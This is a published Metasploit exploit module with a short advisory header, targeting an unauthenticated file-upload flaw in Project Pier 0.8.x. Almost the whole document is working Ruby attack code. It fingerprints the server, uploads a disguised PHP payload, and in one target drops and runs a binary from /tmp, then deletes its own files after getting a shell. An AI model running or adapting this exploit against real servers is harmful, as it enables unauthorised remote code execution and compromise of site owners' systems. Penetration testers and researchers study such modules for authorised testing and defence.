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Project Pier Arbitrary File Upload

Project Pier Arbitrary File Upload
Posted Oct 12, 2012
Authored by BlackHawk, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in Project Pier. The application's uploading tool does not require any authentication, which allows a malicious user to upload an arbitrary file onto the web server, and then cause remote code execution by simply requesting it. This Metasploit module is known to work against Apache servers due to the way it handles an extension name, but the vulnerability may not be exploitable on others.

tags | exploit, remote, web, arbitrary, code execution
advisories | OSVDB-85881
SHA-256 | 11c1a7aab09ed04fe7881c752ec380fbceb9afbe21696aec0a35b66be9600936

Project Pier Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Project Pier Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Project Pier. The application's
uploading tool does not require any authentication, which allows a malicious user
to upload an arbitrary file onto the web server, and then cause remote code
execution by simply requesting it. This module is known to work against Apache
servers due to the way it handles an extension name, but the vulnerability may
not be exploitable on others.
},
'License' => MSF_LICENSE,
'Author' =>
[
'BlackHawk',
'sinn3r'
],
'References' =>
[
['OSVDB', '85881'],
['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
],
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "Oct 8 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
], self.class)
end


def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base}/index.php",
'vars_get' =>
{
'c' => 'access',
'a' => 'login'
}
})

if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end

def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end

@clean_files.each do |f|
print_debug("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
print_debug("File removed: #{f}")
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end

def upload_php(base, fname, php_payload, folder_name)
data = Rex::MIME::Message.new
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
data.add_part('', nil, nil, 'form-data; name="part"')
data.add_part('Submit', nil, nil, 'form-data; name="submit"')

post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/tools/upload_file.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

return res.body if res
end

def exec_php(base, body)
# Body example:
# 0 ./upload/test/test.txt-0001
uri = body.scan(/(\/.+$)/).flatten[0]
@clean_files << File.basename(uri)

res = send_request_raw({'uri' => "#{base}/tools#{uri}"})

if res and res.code == 404
print_error("#{@peer} - The upload most likely failed")
return
end

handler
end

def exploit
@peer = "#{rhost}:#{rport}"

target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

folder_name = Rex::Text.rand_text_alpha(4)
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
@clean_files = []

case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end

print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
res = upload_php(base, php_fname, p, folder_name)

if not res
print_error("#{@peer} - No response from server")
return
end

print_status("#{@peer} - Executing '#{php_fname}'...")
exec_php(base, res)
end
end
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